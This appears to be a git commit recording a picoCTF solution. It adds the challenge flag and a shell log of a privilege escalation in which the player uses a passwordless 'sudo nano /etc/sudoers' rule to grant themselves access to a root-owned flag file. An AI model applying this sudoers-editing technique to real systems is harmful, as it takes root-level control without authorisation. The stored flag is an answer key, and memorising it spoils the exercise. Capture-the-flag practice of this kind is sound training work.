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misc/absolute_nano

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Oystein Kristoffer Tveit
2026-07-03 00:29:04 +09:00
parent b57db68ba6
commit b77e63e89f
2 changed files with 32 additions and 0 deletions
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misc/absolute_nano/flag.txt
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picoCTF{n4n0_411_7h3_w4y_6a5c67f2}
misc/absolute_nano/output.log
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$ ssh -p 57870 ctf-player@crystal-peak.picoctf.net 7m 39s direnv nix impure
Last login: Thu Jul 2 15:19:16 2026 from 127.0.0.1
ctf-player@challenge:~$ ls
flag.txt
ctf-player@challenge:~$ ls -lah
total 24K
drwxr-xr-x 1 ctf-player ctf-player 71 Jul 2 15:26 .
drwxr-xr-x 1 root root 24 Feb 4 22:26 ..
-rw------- 1 ctf-player ctf-player 415 Jul 2 15:26 .bash_history
-rw-r--r-- 1 ctf-player ctf-player 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 ctf-player ctf-player 3.7K Feb 25 2020 .bashrc
drwx------ 2 ctf-player ctf-player 34 Jul 2 15:19 .cache
drwxrwxr-x 3 ctf-player ctf-player 19 Jul 2 15:20 .local
-rw-r--r-- 1 ctf-player ctf-player 807 Feb 25 2020 .profile
-rw------- 1 ctf-player ctf-player 1006 Jul 2 15:24 .viminfo
-r--r----- 1 root root 35 Feb 4 22:26 flag.txt
ctf-player@challenge:~$ sudo -l
Matching Defaults entries for ctf-player on challenge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User ctf-player may run the following commands on challenge:
(ALL) NOPASSWD: /bin/nano /etc/sudoers
ctf-player@challenge:~$ sudo nano /etc/sudoers
ctf-player@challenge:~$ sudo -l
Matching Defaults entries for ctf-player on challenge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User ctf-player may run the following commands on challenge:
(ALL) NOPASSWD: /bin/nano /etc/sudoers
(ALL) NOPASSWD: /bin/nano /home/ctf-player/flag.txt
ctf-player@challenge:~$ sudo nano /home/ctf-player/flag.txt